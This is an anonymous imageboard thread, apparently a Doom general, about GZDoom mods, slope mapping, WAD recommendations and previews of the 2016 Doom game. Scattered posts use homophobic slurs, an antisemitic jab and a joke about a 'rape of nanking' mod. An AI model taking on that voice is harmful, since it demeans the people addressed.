Hideous Destructor always keeps up with the cutting edge builds of GZDoom.
>>2907975
Whoops, its actually the "Monsters Use" trigger.
>>2907856
I was being sarcastic when I said it was a Terry WAD.
>>2907854
Just use for loops, setactorposition, and trig.
>>2907975
>>2907978
heh i don't think he was asking a mapping question
anyway i feel compelled to point out such a flag is something you only get with boom generalized linedefs, or (presumably) udmf
>>2907985
Do I really have to use ACS? I was never good with scripting or programming, it's all complete gibberish to me.
>>2908020
You can use the moving camera thing along with the actor interpolation things, but you still need ACS for those. I usually do my moving camera stuff entirely with ACS because it's much smoother when it comes to circling something.
>>2908031
I LOVE YOU YOU FUCKING (KEEPING THE DooM THREAD ALIVE AND POSTING NEW ONES) PEOPLE!
Can't believe I didn't until now, but I just gave GMOTA a shot and wow. This is an absolute blast!
I've noticed the thread on it's been really quiet lately, though. Is the mod still being worked on?
>>2908274
Not right now it isn't. But I'm not done with it.
I'm glad you like it though
>>2908280
Awesome. Been playing with my
girlfriend, it's great to have a recent weapon changing mod with cooperative play support.
Looking forward to see what you do next, assuming you are the author
>>2908292
I am but uh, I gotta be frank here. There's better mods for co-op shenanigans. GMOTA's barely functional online.
As for what I got planned next? I hope you're not super attached with how the Blazter (The arm cannon) behaves.
>>2908295
We've mostly been using the sword Zarch and the subweapons, they're pretty fine. We were assuming that the character is based around melee and that the range weapon was just kind of there as a backup
>>2908302
That was the idea but as of right now the arm cannon fucks shit up effortlessly.
Gonna be tweaking subweapons ever so slightly as well in the near future, gonna remove the ability to get sword energy from landing subweapon hits.
>>2907836
Did you have infinitely tall actors off?
>>2907889
Upon testing, its actually a case of the player not having infinitely tall actors on.
Reposting because I somehow didnt realise the old thread died
Something about both CombArms and Doom in general - if you use autoaim, any gun with vertical spread will loose it and shoot in straight line.
CombinedArms particle smasher also subject to this. Also I think adding special FX on monster impact would do a great deal to the visual feedback - right now the projectiles just disappear. For some time I thought that they were ripping and simply passed thrugh but in fact they did not. The absence of projectile-monster impact FX is confusing.
On a note of autoaim - is it possible to make a weapon behave like a Heretic's crossbow - i.e. each proj autoaims separately, and thus can autoaim at several monsters at once?
Another suggested tweaks: reduce time required for monsterimpacted altfire to detonate (or make it manual detonation) because as of now most monsters simply move too far away from it before it goes off for it to deal significant damage.
>>2908752
I just realized I forgot to add the frames from the death state on the xdeath state too, hence why the projectiles just vanish on a direct hit with monsters.
whoops.
I'll lower the delay of big beam's explosion a little as well. Sadly I can't do anything about the autoaim fuckery. I suggest disabling autoaim and using mouse aiming.
>>2907750
by pressing the action key like everyone else.
>>2907843
MAP03
If you want to hear the splendid audio:
>>2907843
>>2908787
this is so fucking dumb
make more of it
>>2908787
Very Cool!
>>2908752
>Something about both CombArms and Doom in general - if you use autoaim, any gun with vertical spread will loose it and shoot in straight line.
Incorrect, this is only with weapons that fire projectiles.
>>2908774
New version of CA when
>>2908809
When I get this animated better, fix the Gnasher's altfire getting stuck on shit on return (and by that I mean get Murb to fix it because he's smarter than me), and add at least one more crate weapon.
>>2908812
torrid on suicide watch
>>2908812
SUGGESTION!
Make only FIST part of the gauntlet fly off instead of the whole gauntlet, so it would look like the other part of the gauntlet is a cannon for it.
Also since it's not centered , make Rocketpunch appear from the side, not center.
Also Dart Sidius mode for gauntlets when?
>>2908857
I plan on making the projectile spawn from the side once I get a proper rocket fist.
and I want the entire arm to fly off because it's a nod towards this gag >>>/wsg/899144
How often do you guys save?
>>2908928
All the time
>>2908928
never
>zdaemon
>>2908947
>No "wad" option
Fuck this map
>>2908950
don't recognise it. what is its name? sb suggests pl2.wad but couldn't find it there.
>>2908950
Map 11 of
Plutonia 2
84 Arch-Viles
>>2908976
hmm okay. i checked pl2 11 but only the start position. i have done that map but only on HNTR and it was a number of years ago.
What kind of mech do you think doomguy would pilot/
>>2908986
A sentinel. Open topped, light, small compared to most military vehicles, incorporates a flamer and twin chainguns or potentially a rocket launcher. Good in jungles and on rough terrain.
>>2908950
>>2908982 me
hmm i think the reason i didn't recognise it is because i was misled by your version having no sky texture and a black square beyond the ssg
>>2909018 me
anyway i did the thing again hntr pistol start. takes ages but at least resources are plentiful. do remember to let yourself be bounced to the megasphere at the beginning. shame i couldn't kill all of the final 9 monsters before i lost enough health to make the level end.
>>2907695
T/nC 489
>>2908928
once I´ve completed the level
Has anybody ever ported Heretic levels into Doom? I have a feeling they'd be great for GMOTA.
Anyone here played ProDoomer? I played up to level 5 in the first hub but the map design and ridiculous amount of backtracking is putting me off.
Should I keep playing it?
>>2909216
I dont remember there being much backtracking, I just play the levels straight. You'll need abilities from later levels to get 100% of the stuff.
The ammount of effort that went into it is staggering, but it's buffling how little of it went into playtesting.
The mix of old and new in the RPG segment of the gameplay, annoying recoil (I edited it out of the wad), GoW sounds and pain effect that makes it harder to play when you are in pain - this guy obviously never showed it to anyone before release.
The leveldesign is allover the place - at one moment you see a really cool thing and 10 seconds later you stumble upon a grating design flaw,
like a tall grass in the forest level that hides the badguys - you are being shot from all sides from literally miles away and cant see the enemy until he is 15 feet away from you because of all the tall grass segments.,
or huge chunks of levels that are literally mirrored segments of other chunks of the levels (about every third level suffers from this).
And the switches.LOTS of switches that have absolutely no purpose aside from being there - like having to go through 6 identical rooms (mirrored/copied segments)with same monster/item placements and flipping identical switches to open one big gate,or even 4 switches in same room that have to be flipped to make an effect - this shit is in almost every level in the wad, and then there's a DoomBurger with scale so big it must've been build for cyberdemons.
>>2909269
cont.
And the RPG system makes no sense - you get 1 point per level and can spend it on exactly one spell, so why didnt he just made you autogain them? Beats me.
Also resistance spells are must.
Play it just to see the best worst WAD ever, then forget it like a bad fever dream.
>>2909273
Perhaps I'll just stick with DemonSteele and Project Brutality. Looking forward to PB update in a week or so.
>>2908928
Only when the level is really, really kicking my ass and its too long
>>2908976
>84 Arch-Viles
Ey ya slags
Are NewDoom Community Projects any good?
>>2909349
It's hard but surprisingly fair. Worth playing.
>>2908986
His fists.
>>2909170
There's Herian, but that's about it.
>>2909216
ProDoomer is really, really bad.
>Story isn't something big in a Doom game, and we've taken that approach.
HAPPY DAYS AND SUNSHINE AHEAD
I'm having an issue with doom, after i kill the barons in e1m8 the star doesn't lower, I'm playing brutal doom and iv'e never seen this before, can someone help me out?
>>2909639
Are you using codes or something? Sometimes noclip can keep you from hitting important invisible switchs on the floor that start these events, otherwise try doing that without Brutal Doom to see if the problem is with the wad
>>2909639
Brutal Doom has a problem where gates and switches based on monster deaths don't work. It's the Wad.
>>2909575
Considering how poor Bethesda's story telling abilities are, it's kind of a relief actually
What the fuck is this
>>2909667
It's HDoom you silly goose.
Debauch Marine was a faggot, but he had a good idea of what to do with Hdoom.
>>2909667
the help screen for HDoom, which features a meme.
>>2909660
They seem to have good idea guys but that's it, they always try to make something that is too big for them and need to rush production half way there, you can see that from all the artworks from their games, so much scrapped stuff
Hopefully something as simple as Doom is going to be enough for them
Bethesda were only supervising development iirc. It's zenimax shitty pantstarded no-toying-with-our-food policy that keeps ID from releasing proper mod tools.
that and the fact that only a fairly diminutive amount of people would actually be able to kick something off with it, what with modding and editing modern titles growing fairly time-consuming as time passes and they're aware of it. I'd like to think they're playing it safe so as to avoid another RAGE incident and get console sales.
>>2909674
the original is a work of art. the sheer number of hilarious comments. this guy is an artist. he is on a whole other level.
sadly, the internet took only the very first post and ran it into the ground.
>>2908928
all the time because I'm more into level architecture than proving something I don't care about to someone who ultimately doesn't care
>>2909643
I'm not using any codes, but ill warp to e1m8 and see what happens
>>2909660
>>2909684
Bethesda isn't making the game, they're just publishing it. Id is doing the work for the game.
>>2909656
worked for me just now. using brutal20b.pk3 from bestever
>>2909643
>>2909656
Ok, i tried it and the wad works fine, it's just brutal doom, is there a fix for it?
>GZDoombuilder update
>sky is now being rendered in visual mode
Neat?
>>2909781
How do people do slants in Doom engine anyway? Return of the Triad had those too.
>>2909781
Neat.
>>2909815
>How do people do slants in Doom engine anyway?
rape of nanking mod where
>>2909643
>>2909656
It was my wad, I had downloaded the one from moddb, I figured it would be fine, being a popular mod site and all, oh well anyways I downloaded the wad from bestever like >>2909746 mentioned and it works fine.
>>2909575
The way it sounds like they're doing story sounds perfect.
Hopefully they have the UAC promo videos like doom 3 playing in the background for ambience.
>>2909907
I think the best part is that you can walk away if you want, and the dialogue will keep playing over the intercom, or your headset.
So you can keep the action going, an listen to the story bits at the same time.
Honestly, I'll probably stop and watch every video all the way through my first time, but it's cool knowing that after that, I can just blast right past it.
>>2909832
Oh come now, anon, don't bring /pol/ in here.
>>2909815
>How do people do slants in Doom engine anyway?
You have to make your map in "Doom in Hexen" or "UDMF" format. Then you can either select a linedef and choose the 181:Plane Align special which makes the sector in front of that line slope, or you can draw a bunch of triangles and put a Vertex Slope Floor Thing on each vertex and move those up and down freely in 3d mode. Here's an example of the latter method having been used..
>>2909931
they said if you stand still you die, so it might not even be possible to remain in front of the monitor
Anyone else tried this mod? it allows you to possess enemies and use their abilities against other enemies, its pretty fun to walk around upgrading yourself with more and more powerful enemies, sometimes spamming certain attacks etc
>>2909982
>>2909979
I really don't know what I was expecting for the answer, as someone who knows nothing about any of the id engines.
>>2910026
that's pretty gross
>>2910043
Basically you draw a few lines on a grid and connect them (about as hard as Paint), then you press a key to fly around in first person mode and click walls or whatever to change height values or textures. Slopes are the same principle, just a bit trickier.
>>2909025
Thanks friend.
Playing on Ultra-Violence and that Megasphere will certainly come in handy.
>>2909979
Is there any tutorial that demonstrates the last method? I am only able to make simple slopes for archways, I can't into natural landscape.
>>2910167
I don't know.
But you really just need to do pic related, connect a bunch of triangles and place the Thing shown in the pic on each vertex. Select them in 3D mode and just scroll your mouse wheel to change height.
This is a pretty interesting video.
>>2910203
Thanks. Pretty interesting video with uncommonly good narration.
>>2907750
Ask satan.
Does anyone know of good magic casting mods besides Wrath of Chronos?
>>2910393
You know I'm actually planning on making a mod like that as a side project. I want to make it balanced for MP dueling and have a system where different spells are cast with different key combinations (and each would show up as a glowing rune above the player during charge time so the opponent can react). Have any suggestions or things you'd like to see in a mod like that?
>>2910393
Psychic is pretty good.
Does anyone have a huge ass .zip file full of maps? An anon in the last general was working on one, but that's archived now.
>mfw people still use "Doom in Hexen format"
>>2910202
If you're using UDMF (and not Zandronum) you don't have to add a bunch of things. You can raise the vertex heights directly.
>>2910509
Well to be fair there are quite a few old guides that still suggest it.
>>2910514
huh. Can I do that in gzdb visual mode or do I have to put the numbers in manually?
>>2910524
Yes, you can do it in visual mode.
>>2910534
Didn't know about Alt-V. Thanks, that will make everything much easier.
I already like this alt design lots more than the main one they went for desu
>>2910580
Don't worry, pretty sure that's one of the more heavily armored variants.
I remember hearing a while back that they were creating a few variants of each character, slightly different from one another.
You can actually see the heavily armored Mancubus in the background of one of the SnapMap clips.
>>2910631
I like this setup. It means I won't be seeing the same imps from the beginning of the game all the way to the end without fail, and if they tie it to game progression ala different appearances in different areas, it might be pretty cool. Simultaneously it could just be for stronger variants, though, ala Borderlands due to the player upgrade system.
>>2910631
yeah, that's why I said 'alt design'
looks fucking sick regardless, way better than Doom 3's version with the elephant trunk shit they had going on on its face
also anyone watch the new GI interview trailer they put out today where they basically confirm that the techbase parts of the game will basically consist of industrial, military/scientific research facilities and heavily heavymetal-esque inspired hellscapes and they're procuring the game has fucktons of color to it
also holy shit that music, they really weren't kidding when they said it sounded a lot like NiN at all
>>2909575
That's good actually, story in a Doom game should be short, concise, and not interfere with gameplay.
Exposition should not take long, it should ideally happen in a way that allows you to continue to play as it happens, and it shouldn't try to be something it isn't.
>>2909732
This constantly flies over people's heads for some reason.
>>2910516
Source on the weapon mod?
>>2910654
"Temple of Lizardmen" or something like that.
>>2910654
>>2910660
Yeah, TOTLM 3. It's a tc rather than a weapons mod.
>>2910650
I wouldn't mind them taking the Half-Life (1) route with story this time rather than cutscenes or being forced to sit around waiting like Doom 3. Although I always did find it amusing that if you, say, shoot the scientist that is going to give you a specific disk at one point, it skips the whole conversation and the disk ejects for you to pick up anyway.
>>2910580
Kek
>>2910203
>Behind the Iron Gate
With some adjustments, this could be Vaporwave: The Shooter.
>>2910670
half life 1 did too have moments where, although sparse and fairly ignorable just had the player wandering around awaiting orders from random npcs.
desu I oftentimes find myself idclevving all the way forward up to unforeseen consequences, but then I find myself not enjoying the game as I should mainly because the guns are all utter shite save for the revvie and the alt attack for the sg imo and every single enemy is a fucking bullet sponge
>>2910502
Anyone?
>>2910647
Mick Gordon actually confirmed that the song in the new video is a remix of Sign of Evil.
It's just hard to hear over the sounds/talking.
what would cause DoomRLA to have issues like... like the skill selection menu is all red blocked off circles, or the technician just drops weapons, but the text for "hit altfire to get a modpack from the weapon" still pops up... latest version of everything I'm pretty sure
Does anyone have all the .wads from the 'SO YOU WANNA PLAY SOME FUCKING DOOM' image in a handy .zip file?
>>2910717
I think the most recent GZDoom devbuild broke some shit. Try going back a couple builds, it fixed the dropping thing for me at least.
>>2910683
.
I like HL2, but ultimately, it's way more linear and way less replayable than HL1.
The gunplay is honestly not that bad in HL1. Pistol could maybe be improved by making it so you can shoot as fast as you can click, like in HL2, and making it's ammo supply separate from the automatic weapon.
The SMG in HL2 was pretty weak apart from it's grenade (although to be fair, the MP7 is a pretty low powered weapon).
The enemies didn't feel THAT much like bullet-sponges, but on the flip side I'd use weaker weapons against weaker enemies and try to go for headshots a lot.
I would really like to combine the best of both worlds from HL1 and HL2 in a shooter, I really like the gunplay in both for various reasons. I'd love to have a Duke 3D style quick-kick in a Half-Life game, as well as having the hand-grenades work as a quick button, rather than having to put away your gun.
Is Black Mesa Source any good?
>>2910796
Black Mesa is a slightly worse version of HL1 but it's prettier at least.
The revolver is also fucking fantastic
>>2910803
Don't forget it somehow has worse crowbar swinging animations than HL2
>>2910805
What was so wrong about the crowbar swinging animation in HL2?
Does anyone want some Bobby Prince-style midi music for use in projects? I have a bunch of half-finished songs I made for a tribute WAD lying around. I canned the WAD but I still kind of want to find motivation to finish the music. I can try to find a sample if anyone is interested.
>>2910879
Yes please
>>2910894
Ok, looking. No promises though, they might be on a different PC.
What's the scariest WAD?
I'm not talking cheap jump scares, I mean legit scary.
>>2910924
Buttpain can be pretty scary. So can Happy Time Circus 2.
>>2910924
Hideous Destructor will teach you to fear every single member of Doom's roster.
>>2910924
any wad played without audio, just pick a very empty/full of dark areas level that requires you to walk a lot and done, the tension is fucking hard to deal with
>>2910931
i find dark areas a lot scarier when you have a flashlight, actually
full on darkness is just annoying most times
>>2911154
>that thumbnail
Also not doom, fuck off
>>2911170
You're judging a book by its cover. It's a Doom WAD version.
>>2911176
Them show me a proof that isn't a faggy youtube with a clickbaity link
>>2911180
>>2911186
Just throwing this out here but no one should watch this though, it's still within the clickbait pool. And watching it will taint your watch history and recommended videos with FNAF shit and whacky youtube e-celebs for months.
>>2911190
You can clear your watching history on youtube so shit like that doesn't happens, but i still don't want to give any faggot who does this kind of shit views
>>2911197
even clearing your history, that taint lasts for awhile.
>>2911186
Thanks, that's enough proof for me, also
>131 views
>right next to a markplier video that has 6 million jewish views
heh, i really hope your friend knows what he is doing
>>2911186
Yeah, nah.
>>2911390
>he actually watched it
>the absolute madman
>>2911154
>"i shat myself"
>"oh no i need a new diaper"
>"*cries*"
>>2910663
Mind sharing your SweetFX settings, anon?
>>2911454
I think these are the ones used in most of my pics. Might be screwed up due to experimentation, but I can't check it because my good GPU died and my replacement doesn't support 3.0+ opengl.
#define USE_LEVELS 1
#define USE_CURVES 1
#define USE_BLOOM 1
#define USE_SMAA 1
#define Levels_black_point 0
#define Levels_white_point 250
#define Curves_mode 2
#define Curves_contrast 0.4
#define iBloomMixmode 2
#define fBloomThreshold 0.5
#define fBloomAmount 0.2
#define fBloomSaturation 1.0
#define fBloomTint float3(1.0,1.0,1.0)
SMAA settings are the default ones I believe.
R8 my title sl8.
The central image in the doorway is giving me trouble. It has to be subtly WW2, not stand out too much and also be recognizable at such a small size. I have an alternate with a tank and infantry, and I can also just leave the doorway black.
Progress is coming along well with the hub. 3 Maps complete: Mausoleum, Berlin Church and some Fetid Caverns. Successfully integrated the panzerfaust and tank explosions, throwing the turret into the air. I've had a lot of fun making custom web sprites and cocoons, as well as nursery web-balls, crawling with spiders. Shit gets creepy as fuck when you're crawling through a pitch black cavern and you hear the crawling of a thousand baby spiders. You have to edge past the nursery ball to get past... The spiders are fucking fast, but MG-42 bullets are faster!
>>2911497
spiders/10
I think you should work on making the "a morte" text stand out better.
>want to play with Doom rl monsters with other weapon mods that aren't Doom rl arsenal
>load it with brutal doom for shits and giggles
>mfw it's actually pretty good
>>2911497
that's just a montage of random scary things but it's pretty good for a montage of random scary things.
i agree with >>2911541 that the actual title could be brightened/highlighted somewhat.
>>2911497
also it occurs to me a few minutes later, the gun looks out of place
Uuhhhh
>>2911776
It's shit, Jim.
>>2911779
They could at least have put out a classic Doomguy.
>>2911783
They're doing this to advertise the new game, why would they use the old Doom guy?
>>2911776
The full body power armour really doesn't look unique.
He looks far too much like master chief, even his helmet is green.
>>2911786
Because that's what I want, anon. And goodness knows, what I want is the most important thing.
>>2910580
Why does it have a UAC logo on it? idk but why would the UAC be equipping demons with tech?
>>2911814
the demons stole the tech, those crafty goddamn murder mutants
>>2911817
So, the demons have been stealing and repurposing UAC tech from the various incursions into hell?
>>2911817
Why is brand recognition important to demons?
>>2911835
because brand is everything
>>2911825
The demons are like the chinese. They see some cool new tech, make cheaper versions and mass produce it.
>>2911846
No serious awnsers?
>>2911849
I assume it's a thing where the demons killed them and then kept and possibly modified the tech for themselves.
>>2911864
Maybe, kinda like how those blokes at Black Mesa kept doing incursions into Xen except the natives are taking their shit
>>2911849
Maybe it's a kind of psychological tactic. "Ha ha, not even your precious technology will save you, the demons have it, too!" or something like that. Or it's just there to look cool.>>2911849
>>2911849
There can't be any because demons with UAC logos is inherently ridiculous.
>>2911849
Dude, I don't know. That's probably gonna be part of the game's "super deep" plot. Until we play it we can only speculate. For all we know UAC could be supplying them directly, and the game would give us a "corporations r bad" message at the end.
>>2911776
in their defense, it's incredibly fucking hard to come up with original ideas for a space marine design of all things when the contemporary market is over saturated with them
doesn't help that master chef Gordon Ramsay already took the most sensible approach to it and straight out ripped Doomguy's design in the original halo and got away with it
>>2911872
>>2911870
>>2911869
Well, at least they dont have tanks
Ive noticed every single map pack has 32 levels, is that some sort of technical limitation?
>>2911893
>every single map pack has 32 levels
Well, frankly, this is outright wrong. There are a massive amount of mappacks with only 7 levels, 10 levels, 12 levels, and ZDoom mappacks with more than 32.
That being said, for vanilla or PRBoom+ compatibility, 32 maps is the highest number that can be reached.
>>2911906
Whoa really?
Huh, what are some good ones
>>2911849
I always thought those monsters were mutated humans or something, maybe war machines created by them? UAC seems like the kind of company that would do such a thing, and considering how hell looks like a medieval shithole i don't think they would have the tech to do such things
>>2911935
Could be,
If the UAC were doing frequent incursions into Hell why did the demons suddenly attack NOW rather than when the first started? Maybe the UAC defense finally couldnt keep them out?
>>2911925
Zen dynamics is the first one to comes to mind that doesn't have 32 maps to it, forgot how many it has however, it was enough to hold up, and was really great too imo. However, it has other things like weapons/monster replacements added to it, so adding it with other mods is a no no.
>>2911947
Well damn, are there any that are mod compatible?
Im trying to get a BD/PB compatible set since im going to be losing internet and tv here in about a month or two and I want something to keep me entertained
>Doom mapping while playing Erasure
The high life.
>>2911951
>>2911849
In Doom 3 you have a part where some of the demons are in an exhibit complete with talking placards. IIRC, the UAC starting experiment on caught demons after they found hell. This is obviously them try to improve/weaponize them.
We already know at least a vague reason as to why the Demons have UAC tech.
Several people at the UAC were in on some shit that would allow the demons to take over our world, and reform it into a better place.
That one lady on the intercom systems talks about how her "brothers" would be safe, taking a seat alongside the demon invasion, helping them.
I can only assume a fair share of asshats at the UAC started building weapons for the demons, testing the weapons on them at the Lazarus Facility, and then shoved that shit through a portal to hell for all of them to use.
The demons already have their fair share of organic weapons though, with the standard Manc being a good example. His base guns are purely organic, but the UAC armor is probably something those cultist dickheads gave the Mancs to better them in combat.
>>2912079
>>2912056
hmm so the UAC had some not so good folks pulling the strings?
How much power does the UAC hold, from a poltical and economical stance
Are they allowed to have tanks, powersuits and otherwise illegal tech?
There's new shit on the gameinformer hub by the way
>>2909713
>>2909674
it's fucking hilarious that a lot of people's exposure to one of most influential philosophers is a fucking meme
>>2912105
Damn you got me excited.
That shit on the GameInformer hub was there yesterday.
No new update until tomorrow senpai.
>>2911814
>>2911817
>>2911825
>>2911846
>>2911849
>>2911864
>>2911869
>>2911870
>>2911872
>>2911935
>>2912056
the UAC was experimenting on the demons, weaponizing them basically
we've pretty much known this for a good while now, come on
>DOOM's final boss is a revived giant
I'm sure this'll be it
>>2912124
come up with a new controllabe war machines to throw out on unprofitable governments and terrorists?
Rig those fuckers up with a shit load of cybernetics
>>2912098
i believe it's like liandri corp in unreal tournament. they have the funds from the fights to r&d, off-world mine, send cleanup crews, all sort of things & the new earth government wouldn't lift a finger to question it. to simply put, earth would be fucked without them.
>>2912121
oh yeah i fucked up
sorry m8s
>>2912131
so the UAC has an utter stranglehold on all earth economics and has the money and power to do whatever they desire
I wish the UAC would help you once in awhile rather than unleash hell several dozen more times
>>2912125
I'll bet you right fucking now.
DOOM's gonna have 4 bosses.
The Barons, The Cyberdemon, The Spider, and The Icon of Sin.
Pretty sure this time the Icon's gonna be running around outside of his cage though.
It'd make sense, if they fit it into the lore that The Icon was one of the Titans that fell.
Either that, or they're saving it for the sequel
DOOM II: Hell on Earth.
Do you think that the decision to call the new game "Doom" will negatively impact the classic Doom community?
>>2912167
Not really.
Calling it "Smashing Pumpkins Into Small Piles Of Putrid Debris" would've.
how do i bind the reload key in zandronum? i had r set as something else, so it never worked for reloading.
>>2911790
I haven't seen the actual design of the ingame model, but that little cartoony one doesn't quite look like a full power-armor, it looks more like a full-body combat armor, like plates and guards and shit, but no sealing or motors.
>>2912179
What mod? Zandronum won't have a reload key by default until 3.0 drops.
>>2912184
brutal doom
>>2912189
Check the controls, probably all the way at the bottom.
>>2910580
I like both, to be quite frank.
>>2910631
>I remember hearing a while back that they were creating a few variants of each character, slightly different from one another.
Oh, that's actually pretty cool.
Anyone have a pic of the new guns? I don't seem to have it.
Am I the only one who can't enter the levels page on doomworld??? It gives me error 404 EVERY FUCKING TIME. Is there an alternative page to find good wads?
>>2912197
It works for me. But I had that same problem some days ago, where it would show me a 404 page but work for everyone else. It fixed itself for me the following day.
>>2912190
Thanks
>>2912124
>>2912126
How fucking disappointing.
Another generic "BIOWEAPONS!!!!!!" plot.
i love Classic doom, cant beat the original
>>2912212
>playing Doom for the plot
>>2912212
bioweapons?
Im talking about the classic doom games, this is just speculation
>>2912212
>doom
>games known for putting gameplay in front of everything and putting the very basic and stock plot in the backseat
>disappointed that the plot isn't new or revolutionary
>>2912212
Dude, even the orignal two games had a very subtle Bioweapons plot to them.
Chill yourself.
>>2912226
Also wolfenstein with the whole "mutant soldiers" thing
>>2912224
>>2912226
Bullshit.
There was never any EXPERIMENT ON THE DEMONS FOR BIOWEAPONS in the original. The UAC wasn't doing anything like that.
>>2912223
>>2912225
You're retarded.
No shit the original Doom games had barely any plot. But what was there was fine. A shitty plot is still shitty, whether it's the focus or not.
>>2912232
How did the demons get tech?
>>2912223
Carmack knows fuck-all about game design though. Even disregarding his attitude towards the mediums storytelling capabilities, he for example actually wanted to remove the ability to bunnyhop from Q3 and tried to do so for a while. It didn't fit the action movie aesthetic he had in mind.
>>2912226
>even the orignal two games had a very subtle Bioweapons plot to them
No they didn't.
Maybe Plutonia or TNT did, but the original games didn't.
>>2912232
The plot is just fine in Doom, but it was never award winning or thought provoking, and I don't see why it'd really have to be.
If the plot in Doom 4 is shit, that won't be the biggest disappointment to me.
>>2912236
Stole them from UAC expeditions into hell perhaps.
>>2912193
>Anyone have a pic of the new guns? I don't seem to have it.
ya, here
>>2912243
Yeah, this
>>2912236
They made it.
It's specifically said in the Revenant's manual entry that the demons put cybernetics on fallen warriors to send them back into fray. That shit isn't exactly plug-and-play.
Saying the obvious here, but Doom's bestiary is based on judeo-christian demons. Depending on how far you reach in religious canon, the Keys of Solomon have numerous demons that are scientists and even teach men about advanced science.
>>2912207
Really? Do you browse with Google Chrome or Firefox? I've tried everything on Firefox
Can I ask why the fuck PRBoom Plus still exists?
It's a really shitty port that's a pain in the ass to configure, and it's still filled with a shitload of bugs that other ports have already fixed.
>>2912256
>It's a really shitty port
nah
>and it's still filled with a shitload of bugs that other ports have already fixed.
most of those "bugs" are pretty vital to doom gameplay
>>2912197
Trying clearing your cache and doing a hard refresh.
Fun little fanmade log on the demons.
>>2912257
I'm talking about the countless graphical and audio bugs that could easily be fixed.
>>2912258
I've tried with Firefox but still error 404.. so weird
>>2912264
I remember this. I got in trouble in computer class when a teacher caught me reading the entry for the Baron of Hell and threatened to send me to the principal's office for "accessing obscene material." She was religious and thought I was reading about real demons.
Now i wonder if we will ever see a pre transformation cyber demon, i wonder what kinds of powers he would have
>>2910580
man, I don't dig rounded metal
I mean it can look good in moderation but this is just too rounded I think
maybe nostalgia but I have to have those edges
>>2910580
I don't know, I love the cyclops-chan mancubus, he looks adorable as far as obese demons go.
I love that the Mancubus still just speaks in "BWUAGHHH"s and "UUGGGHH"s.
I just really hope that the Revenants still look goofy as fuck in close range combat.
>Remember, if you are playing a pirated copy of DOOM II you are going to HELL.
Was this ever enforced?
>>2912382
Well, we did see that one bitch slap Doomguy with his own helmet. I actually had a sensible chuckle when I saw that.
>>2912384
>Remember, if you are playing a pirated copy of DOOM II you are going to HELL.
Well of course we are going to hell, how else would we be able to beat the game?
>The D44m excitement slowly mounts as better details about the single player come out.
Will this be the fall of the Doom general?! Will it tear them apart as Doomguy does to a lowly imp?! Stay tuned, cacos and pain elementals.
>>2912401
>The D44m excitement slowly mounts
Speak for yourself, I've been nothing but disappointed in everything I've heard.
>>2912243
>yfw Carmack wanted the railgun in Q3 to cause splash damage
>>2912401
We'll live.
>>2912406
>I've been nothing but disappointed in everything I've heard.
Negative Nancy, you wouldn't be if you had realistic expectations.
Expecting it to be like the original is obviously not going to happen. As it looks now, it seems like it could be a pretty decent modern shooter.
>>2912410
>you wouldn't be if you had realistic expectations. Expecting it to be like the original is obviously not going to happen.
Wow.
I didn't even say what my concerns are and already you're dismissing them.
>>2912406
Honestly, my only disappointment is no Mod support so far.
I think SnapMap on it's own will be really fun to fuck around with.
The whole game itself though has been meeting just about any expectations I had, and exceeded some.
>>2912401
I would love to see the headlines "fastest fps on the market"
at this point tho, not even close
I heard this music track in the new gameinformer teaser.
Has anyone got any idea what it's based on, it sounds familiar.
>>2912401
i have absolutely no interest in doom 4 and have no interest in discussing it, i've just been remaining quiet to be polite towards those who are
i sincerely doubt that the majority of the general's excitement is rising, however
>>2912425
It's not like it's hard, the only modern "classic" FPS's are that new UT, and Toxikk or whatever it's called.
I'm holding out hope for Strafe.
>>2912427
Well, some things that have been revealed recently has sated some fears and concerns, some have been kind of exciting.
>>2912436
Not him, but after that gameplay reveal and watching webms of multiplayer doesn't give me any hope.
>>2912426
I'm not sure, but Mick Gordon said one of the songs in those videos was a Sign of Evil remix.
>>2912401
I'm rather hyped but I doubt it.
>>2912429
UT and Reflex. Toxikk's dead, because it's UT2k4 and people who want that play 2k4, people that want UT will play UT4.
>>2912459
The problem is about SP footage is that they didn't show the perks and stuff.
I don't recall if the (for example) speed upgrades are in MP, but the webms were controller gameplay, too
Did some updates
If you wanna try it the server is
Madokage's GBA DOOM Deathmatch Maps Remake V4G
>>2912504
>The problem is about SP footage is that they didn't show the perks and stuff.
i really doubt that would have assuaged any concerns
>>2912524
it would have a bit, regarding speed concerns at least
even then it's probable that if they did show them, people would still want it "15% faster" and stuff, so i think it's deliberate
>>2912307
last time i checked WolfenstienRPG had a pretransformation cyberdemon as the final boss
Anyone know a good tutorial on Sekaiju?
I'm trying to make my own phat beatz.
>>2912576
>>2912592
oh yeah, this reminds me, i really need to play Doom RPG at soem point
>>2912605
I wish there were more Wolfenstein fangames for the Doom engine
Is it normal to not be able to enjoy Scythe after Map 20?
I tried it out after I heard it being praised like a messiah, but it literally just becomes un-enjoyably difficult after that point.
There's only so much Revenant, Chaingunner, and Archvile spam I can enjoy.
>>2912243
>removing bunnyhop from Q3
I personally don't see that as a bad thing.
>custom difficulties
>critical mode
>smooth doom
>plutonia
>32
>one shot killing mancubi with super shotgun
>one shot killing cyber demons with BFG
>one shot killing Arch-viles with rocket launcher
Feels too fucking satisfying, the maps is really open and the weapons do so much damage from both sides that dodging really rewards you, truly a great combo
>>2912409
I like how Painkiller handled that.
>>2912654
To a lot of people at the time, and basically everyone know, bunnyhopping and other quirks ARE Quake.
>>2912654
Well I think the advanced skill based movement and the level design are the two things that sets quake apart from other games in multiplayer.
>>2912674
>>2912686
Not to me. Then again, I never played much of Quake. Still, I think you should never let a glitch become accepted just because it gives the player advantages by principle. No matter the bitching from a community.
>>2912686
The level design was really mostly user made maps though.
>>2912656
Glad to see you're enjoying my custom difficulties wad, anon
Is there a way I can download the best Doom mods in one package?
Or install every level on /idgames in a big .7z file
>>2912694
>Still, I think you should never let a glitch become accepted just because it gives the player advantages by principle.
I don't agree with that. Take Tribes for example, where skiing was initially a bug but became so popular it had it's own key in every next game and is the one single feature that makes the series what it is. There are hundreds of games with glitches that evolved into features.
>>2912726
>There are hundreds of games with glitches that evolved into features.
Because of a, at least that what it struck me as, a player base obsessed with winning and skill. Which is something I would not want to support unless you can contextualize the glitch. Skiing in Tribes you can do that with due to the whole powerarmor jetpack/boots thing, but Q3 never did that and it's jarring to me.
>>2912694
>>2912726
Yeah, or combos in Street Fighter.
More on-topic, rampdodging and liftjumping in Unreal Tournament.
It's definitely a tricky issue though. The things we mentioned were refined over time. Quake's movement has changed, certainly, but it hasn't really been refined on a basic level. Quake 4 tried, buttsliding was fun, but that was it.
>>2912709
>>2912709
